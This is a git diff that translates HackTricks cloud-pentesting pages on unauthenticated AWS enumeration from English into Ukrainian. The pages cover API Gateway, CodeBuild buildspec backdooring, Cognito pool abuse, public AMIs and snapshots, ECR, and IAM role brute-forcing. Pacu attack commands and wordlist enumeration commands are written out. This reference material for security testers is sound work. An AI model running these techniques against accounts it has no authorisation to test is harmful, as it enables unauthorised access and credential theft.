github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +Для отримання додаткової інформації, окрім [**документації**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), ви можете знайти код для реалізації авторизаторів в [**цьому офіційному aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). -### IAM Policy Injection +### Впровадження політики IAM -In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. - -### Public URL template +У тій же [**доповіді**](https://www.youtube.com/watch?v=bsPKk7WDOnE) викладено факт, що якщо код використовує **введення користувача** для **генерації політик IAM**, дикий символ (та інші, такі як "." або конкретні рядки) можуть бути включені туди з метою **обходу обмежень**. +### Шаблон публічного URL ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` +### Отримання ID облікового запису з публічного URL API Gateway -### Get Account ID from public API Gateway URL +Так само, як і з S3 бакетами, Data Exchange та URL-адресами Lambda, можливо знайти ID облікового запису, зловживаючи **`aws:ResourceAccount`** **Policy Condition Key** з публічного URL API Gateway. Це робиться шляхом знаходження ID облікового запису по одному символу, зловживаючи підстановочними знаками в секції **`aws:ResourceAccount`** політики.\ +Ця техніка також дозволяє отримувати **значення тегів**, якщо ви знаєте ключ тегу (є кілька стандартних цікавих). -Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Ви можете знайти більше інформації в [**оригінальному дослідженні**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) та інструменті [**conditional-love**](https://github.com/plerionhq/conditional-love/) для автоматизації цього експлуатації. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index 0284e2514..3360c0873 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Шаблон публічного URL ``` https://{random_id}.cloudfront.net ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index d95410a62..e45798e5d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -4,7 +4,7 @@ ## CodeBuild -For more info check this page: +Для отримання додаткової інформації перегляньте цю сторінку: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,28 +12,22 @@ For more info check this page: ### buildspec.yml -If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**. +Якщо ви отримали доступ до запису в репозиторії, що містить файл з назвою **`buildspec.yml`**, ви можете **встановити бекдор** у цей файл, який вказує на **команди, що будуть виконані** в проекті CodeBuild, і ексфільтрувати секрети, скомпрометувати те, що виконується, а також скомпрометувати **облікові дані ролі IAM CodeBuild**. -Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example. +Зверніть увагу, що навіть якщо немає жодного файлу **`buildspec.yml`**, але ви знаєте, що використовується Codebuild (або інший CI/CD), **модифікація деякого легітимного коду**, який буде виконано, також може дати вам зворотний шелл, наприклад. -For some related information you could check the page about how to attack Github Actions (similar to this): +Для деякої пов'язаної інформації ви можете переглянути сторінку про те, як атакувати Github Actions (схоже на це): {{#ref}} ../../../pentesting-ci-cd/github-security/abusing-github-actions/ {{#endref}} -## Self-hosted GitHub Actions runners in AWS CodeBuild - -As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this: +## Самостійно хостовані GitHub Actions виконавці в AWS CodeBuild +Як [**вказано в документації**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), можливо налаштувати **CodeBuild** для виконання **самостійно хостованих Github дій**, коли тригериться робочий процес у налаштованому репозиторії Github. Це можна виявити, перевіривши конфігурацію проекту CodeBuild, оскільки **`Тип події`** повинен містити: **`WORKFLOW_JOB_QUEUED`**, а в робочому процесі Github він вибере **самостійно хостований** виконавець, як це: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` - -This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached. +Ця нова взаємозв'язок між Github Actions та AWS створює ще один спосіб компрометації AWS з Github, оскільки код у Github буде виконуватись у проекті CodeBuild з прикріпленою роллю IAM. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 6f26f3a34..11d13750a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -4,9 +4,9 @@ ## Unauthenticated Cognito -Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**. +Cognito - це сервіс AWS, який дозволяє розробникам **надавати своїм користувачам доступ до сервісів AWS**. Розробники надають **IAM ролі аутентифікованим користувачам** у своїй програмі (можливо, люди зможуть просто зареєструватися) і вони також можуть надати **IAM роль неаутентифікованим користувачам**. -For basic info about Cognito check: +Для основної інформації про Cognito перегляньте: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -14,39 +14,31 @@ For basic info about Cognito check: ### Identity Pool ID -Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\ -Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges. +Identity Pools можуть надавати **IAM ролі неаутентифікованим користувачам**, які просто **знають Identity Pool ID** (що досить поширено **знайти**), і зловмисник з цією інформацією може спробувати **отримати доступ до цієї IAM ролі** та експлуатувати її.\ +Більше того, IAM ролі також можуть бути призначені **аутентифікованим користувачам**, які отримують доступ до Identity Pool. Якщо зловмисник може **зареєструвати користувача** або вже має **доступ до постачальника ідентичності**, що використовується в Identity Pool, він може отримати доступ до **IAM ролі, що надається аутентифікованим** користувачам і зловживати її привілеями. -[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). +[**Перевірте, як це зробити тут**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). ### User Pool ID -By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +За замовчуванням Cognito дозволяє **реєструвати нового користувача**. Можливість зареєструвати користувача може надати вам **доступ** до **основного застосунку** або до **аутентифікованої IAM ролі доступу Identity Pool**, яка приймає як постачальника ідентичності Cognito User Pool. [**Перевірте, як це зробити тут**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). ### Pacu modules for pentesting and enumeration -[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), фреймворк експлуатації AWS, тепер включає модулі "cognito\_\_enum" та "cognito\_\_attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних користувацьких атрибутів, використовуваних облікових даних Identity Pool, ролей, що можуть бути прийняті в токенах ідентичності тощо. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Для опису функцій модулів дивіться частину 2 [блог-посту](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Для інструкцій з установки дивіться основну сторінку [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Usage -Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: - +Приклад використання `cognito__attack` для спроби створення користувача та всіх векторів привілеїв проти даного Identity Pool та клієнта User Pool: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичностей, користувачів тощо, видимих у поточному обліковому записі AWS: ```bash Pacu (new:test) > run cognito__enum ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 004a92c2b..30bf2ec19 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Шаблон публічного URL ``` .cluster-..docdb.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index e9e7fa8e4..b8f72753d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -1,19 +1,15 @@ -# AWS - DynamoDB Unauthenticated Access +# AWS - DynamoDB Неавтентифікований Доступ {{#include ../../../banners/hacktricks-training.md}} ## Dynamo DB -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB. +Окрім надання доступу до всіх AWS або деякого скомпрометованого зовнішнього облікового запису AWS, або наявності SQL-ін'єкцій в додатку, який взаємодіє з DynamoDB, я не знаю більше варіантів доступу до облікових записів AWS з DynamoDB. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 657bf7f3a..c30efe7fe 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## EC2 & Related Services +## EC2 та пов'язані сервіси -Check in this page more information about this: +Перевірте на цій сторінці більше інформації про це: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Public Ports +### Публічні порти -It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it. +Можливо **вивести будь-який порт віртуальних машин в інтернет**. Залежно від **того, що працює** на відкритому порту, зловмисник може це зловживати. #### SSRF @@ -20,10 +20,9 @@ It's possible to expose the **any port of the virtual machines to the internet** https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Public AMIs & EBS Snapshots - -AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account: +### Публічні AMI та EBS знімки +AWS дозволяє **надавати доступ будь-кому для завантаження AMI та знімків**. Ви можете дуже легко перерахувати ці ресурси зі свого облікового запису: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -38,11 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` +Якщо ви знайдете знімок, який може бути відновлений будь-ким, обов'язково перевірте [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) для отримання інструкцій щодо завантаження та грабежу знімка. -If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot. - -#### Public URL template - +#### Шаблон публічного URL ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -50,15 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` - -### Enumerate EC2 instances with public IP - +### Перерахувати EC2 екземпляри з публічним IP ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 2febbed62..2561e4fbe 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -4,35 +4,27 @@ ## ECR -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Public registry repositories (images) - -As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws//`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image. +### Публічні репозиторії реєстру (зображення) +Як згадувалося в розділі ECS Enum, публічний реєстр є **доступним для всіх** і використовує формат **`public.ecr.aws//`**. Якщо URL публічного репозиторію буде знайдений зловмисником, він може **завантажити зображення та шукати чутливу інформацію** в метаданих та вмісті зображення. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` - > [!WARNING] -> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo. +> Це також може статися в **приватних реєстрах**, де політика реєстру або політика репозиторію **надає доступ, наприклад, до `"AWS": "*"`**. Будь-хто з обліковим записом AWS може отримати доступ до цього репозиторію. -### Enumerate Private Repo - -The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry. +### Перерахунок приватного репозиторію +Інструменти [**skopeo**](https://github.com/containers/skopeo) та [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) можуть бути використані для перерахунку доступних репозиторіїв всередині приватного реєстру. ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' crane ls | sed 's/ .*//' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 8d0b02ba2..dbb88bfe6 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -4,16 +4,15 @@ ## ECS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Publicly Accessible Security Group or Load Balancer for ECS Services - -A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks. +### Публічно доступна група безпеки або балансувальник навантаження для ECS-сервісів +Неправильно налаштована група безпеки, яка **дозволяє вхідний трафік з Інтернету (0.0.0.0/0 або ::/0)** до сервісів Amazon ECS, може піддати ресурси AWS атакам. ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' @@ -21,9 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain # Example of detecting a publicly accessible load balancer for ECS services aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 3a73a7328..a97473e43 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -4,38 +4,32 @@ ## Elastic Beanstalk -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Web vulnerability +### Веб-вразливість -Note that by default Beanstalk environments have the **Metadatav1 disabled**. +Зверніть увагу, що за замовчуванням середовища Beanstalk мають **Metadatav1 вимкнено**. -The format of the Beanstalk web pages is **`https://-env..elasticbeanstalk.com/`** +Формат веб-сторінок Beanstalk є **`https://-env..elasticbeanstalk.com/`** -### Insecure Security Group Rules +### Небезпечні правила групи безпеки -Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**. +Неправильно налаштовані правила групи безпеки можуть піддати екземпляри Elastic Beanstalk публічному доступу. **Занадто дозволяючі вхідні правила, такі як дозволення трафіку з будь-якої IP-адреси (0.0.0.0/0) на чутливих портах, можуть дозволити зловмисникам отримати доступ до екземпляра**. -### Publicly Accessible Load Balancer +### Публічно доступний балансувальник навантаження -If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments. +Якщо середовище Elastic Beanstalk використовує балансувальник навантаження і балансувальник налаштований на публічний доступ, зловмисники можуть **надсилати запити безпосередньо до балансувальника навантаження**. Хоча це може не бути проблемою для веб-додатків, які призначені для публічного доступу, це може бути проблемою для приватних додатків або середовищ. -### Publicly Accessible S3 Buckets +### Публічно доступні S3 бакети -Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**. - -### Enumerate Public Environments +Додатки Elastic Beanstalk часто зберігаються в S3 бакетах перед розгортанням. Якщо S3 бакет, що містить додаток, є публічно доступним, зловмисник може **завантажити код додатка та шукати вразливості або чутливу інформацію**. +### Перерахунок публічних середовищ ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 6ed2b74fe..42d79e8fe 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -2,15 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Шаблон публічного URL ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index b6092fda4..894ac72e2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -2,171 +2,157 @@ {{#include ../../../banners/hacktricks-training.md}} -## Enumerate Roles & Usernames in an account +## Перерахунок ролей та імен користувачів в обліковому записі -### ~~Assume Role Brute-Force~~ +### ~~Брутфорс ролі~~ > [!CAUTION] -> **This technique doesn't work** anymore as if the role exists or not you always get this error: +> **Ця техніка більше не працює**, оскільки, незалежно від того, чи існує роль, ви завжди отримуєте цю помилку: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > -> You can **test this running**: +> Ви можете **перевірити це, запустивши**: > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return: - +Спроба **взяти на себе роль без необхідних дозволів** викликає повідомлення про помилку AWS. Наприклад, якщо немає дозволу, AWS може повернути: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` - -This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**: - +Це повідомлення підтверджує існування ролі, але вказує на те, що її політика прийняття ролі не дозволяє вам її прийняти. На відміну від цього, спроба **прийняти неіснуючу роль призводить до іншої помилки**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` +Цікаво, що цей метод **розрізнення між існуючими та неіснуючими ролями** застосовується навіть між різними обліковими записами AWS. З дійсним ідентифікатором облікового запису AWS та цільовим словником можна перерахувати ролі, присутні в обліковому записі, не стикаючись з жодними вродженими обмеженнями. -Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. +Ви можете використовувати цей [скрипт для перерахунку потенційних принципалів](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum), зловживаючи цією проблемою. -You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. +### Політики довіри: Брутфорс крос-облікові ролі та користувачі -### Trust Policies: Brute-Force Cross Account roles and users - -Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. +Налаштування або оновлення **політики довіри IAM ролі передбачає визначення, які ресурси або сервіси AWS можуть приймати цю роль** та отримувати тимчасові облікові дані. Якщо вказаний ресурс у політиці **існує**, політика довіри зберігається **успішно**. Однак, якщо ресурс **не існує**, **генерується помилка**, що вказує на те, що було надано недійсний принципал. > [!WARNING] -> Note that in that resource you could specify a cross account role or user: +> Зверніть увагу, що в цьому ресурсі ви можете вказати крос-облікову роль або користувача: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` -This is a policy example: - +Це приклад політики: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::216825089941:role/Test" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] } ``` - #### GUI -That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating) +Це **помилка**, яку ви знайдете, якщо використовуєте **роль, яка не існує**. Якщо роль **існує**, політика буде **збережена** без жодних помилок. (Помилка стосується оновлення, але також працює при створенні) ![](<../../../images/image (153).png>) #### CLI - ```bash ### You could also use: aws iam update-assume-role-policy # When it works aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json { - "Role": { - "Path": "/", - "RoleName": "Test-Role", - "RoleId": "AROA5ZDCUJS3DVEIYOB73", - "Arn": "arn:aws:iam::947247140022:role/Test-Role", - "CreateDate": "2022-05-03T20:50:04Z", - "AssumeRolePolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::316584767888:role/account-balance" - }, - "Action": [ - "sts:AssumeRole" - ] - } - ] - } - } +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} } # When it doesn't work aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` - -You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) +Ви можете автоматизувати цей процес за допомогою [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): +Наше використання [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration +- Роль `admin`, використана в прикладі, є **роллю у вашому обліковому записі, яка може бути використана** pacu для створення політик, які йому потрібні для перерахунку ### Privesc -In the case the role was bad configured an allows anyone to assume it: - +У випадку, якщо роль була неправильно налаштована і дозволяє будь-кому її приймати: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ 